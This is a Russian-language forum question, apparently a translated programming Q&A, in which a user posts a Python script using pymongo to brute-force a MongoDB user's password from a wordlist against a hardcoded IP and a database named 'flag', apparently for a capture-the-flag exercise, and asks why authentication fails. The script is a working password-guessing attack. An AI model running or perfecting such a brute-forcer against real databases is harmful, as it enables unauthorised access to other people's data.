MongoDB аутентификация пользователя с использованием pymongo - PullRequest
0 голосов
/ 06 октября 2019

Я писал скрипт, который мог бы взломать пароль пользователя mongoDB. Я использую pymongo, и это то, что я до сих пор управлял:

#!/usr/bin/python

from pymongo import MongoClient

passfile = open("passwords.txt", "r")

for words in passfile:

    client =  MongoClient('192.108.201.2')    
    db = client['flag']

    if db.authenticate('user', words):

        print '[+] The PASSWORD is: %s [+]' % words
        db.logout()
        client.close()

        break

    else:

        print '[-] DB Authentication Failed with password: %s [-]' % words
        client.close()

        continue

Я могу аутентифицироваться с консоли python 2.7, используя правильные имя пользователя и пароль, но когда я запускаю приведенный выше скрипт, яполучить сообщение об ошибке:

Другой пользователь уже аутентифицирован в базе данных, сначала необходимо выйти из системы.

Я прочитал в pymongo документах, которые db.logoutи db.authenticate устарели, я также попытался выполнить аутентификацию с самого MongoClient в формате:

client = MongoClient('mongodb//:user:%s@IP:27017/?authSource=flag' % quote_plus(words))

Однако я застрял на способах правильного использования вышеуказанной аутентификации вусловное утверждение. Мне нужно убедиться, что один из паролей в списке успешно прошел аутентификацию в базе данных.

...